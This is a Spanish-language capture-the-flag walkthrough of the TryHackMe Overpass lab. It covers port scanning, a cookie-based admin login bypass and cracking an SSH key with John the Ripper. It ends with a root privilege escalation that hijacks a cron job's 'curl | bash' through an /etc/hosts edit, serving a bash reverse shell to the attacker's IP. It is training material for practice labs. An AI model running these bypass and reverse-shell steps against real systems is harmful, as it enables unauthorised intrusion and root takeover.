OverPass - TryHackMe

TryHackMe’s Overpass room is an easy-level room involving a cookie authentication bypass, John the Ripper, crontabs, and hosts editing to go from an nmap scan to root access on a target machine.

Summary

  • IP: 10.10.113.192
  • Ports: 22,80
  • OS: Linux (Ubuntu Bionic)
  • Services & Applications:
    • 22 -> OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
    • 80 -> Golang net/http server

Recon

  • Reconocimiento básico de puertos:
$sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.10.116.216 -oG allPorts
  • Reconocimiento profundo de puertos encontrados:
$sudo nmap -p22,80,139,445,8009,8080 -sCV 10.10.116.216 -oN targeted
  • Escaneo de directorio de página web:
$sudo gobuster dir -u 10.10.249.223 -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100
  • Entramos al directorio “/admin” y nos encontramos con un login, analizamos el código fuente y vemos que hay código javascript, analizamos el archivo “login.js” en búsqueda de vulnerabilidades, y vemos el siguiente fragmento:
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
  • Por lo que vemos, se está validando el logeo con una simple condicional la cual toma como referencia y modifica la Cookie de sesión, siendo que al indicar una cuenta válida, la cookie se llamará “SessionToke”; sabiendo esto, podemos explotar esto creando una cookie en firefox con el nombre de “SessionToken” y recargando la página, ya estaríamos dentro como admin.

  • Dentro de la página de amin vemos un usuario y una private key SSH, la cual intentaremos romper con John:

$python ssh2john.py rsa_james > hash_james.hash 
  • Obtenemos la contraseña, accedemos via ssh:
$ssh -i rsa_james.txt james@10.10.249.223
  • Obtenemos la primera flag y vemos un archivo todo.txt, lo analizamos y encontramos lo siguiente:

Ask Paradox how he got the automated build script working and where the builds go. They’re not updating on the website

  • Mencionan una script, buscamos en las tareas automatizadas (crontab) para analizar en qué consiste dicha script:
cat /etc/crontab
  • Vemos la tarea: root curl overpass.thm/downloads/src/buildscript.sh | bash lo cual nos indica que cada cierto tiempo como ROOT está actualizando el código en bash de la script descargando desde la página overpass; comprobamos que tenemos acceso de escritura del archivo /etc/hosts y lo modificamos para que en lugar de accede a la página “overpass.thm” nos redireccione a nuestra máquina atacante:
10.18.101.123 localhost
10.18.101.123 overpass-prod
10.18.101.123 overpass.thm
  • Ahora en nuestra máquina, nos creamos el directorio y archivo /downloads/src/buildscript.sh y le insertamos una reverse shell:
mkdir /downloads/src/
nano buildscript.sh
bash -i >& /dev/tcp/10.18.101.123/443 0>&1
  • Nos montamos un servidor http en el puerto 80 en el directorio base de la máquina atacante:
$sudo python3 -m http.server 80
  • Nos ponemos en escucha en el puerto 443, esperamos a que la tarea ejecute el comando inyectado y accedemos a la máquina como ROOT.